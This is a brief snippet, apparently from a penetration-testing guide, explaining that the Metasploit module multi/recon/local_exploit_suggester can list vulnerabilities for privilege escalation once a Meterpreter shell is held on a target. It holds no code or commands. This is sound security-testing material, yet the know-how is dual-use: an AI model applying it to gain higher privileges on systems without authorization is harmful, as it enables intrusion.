Metasploit
If you already have a Meterpreter shell on the target system, you can use the multi/recon/local_exploit_suggester
module to list vulnerabilities that may affect the target system and allow you to elevate your privileges on the target system.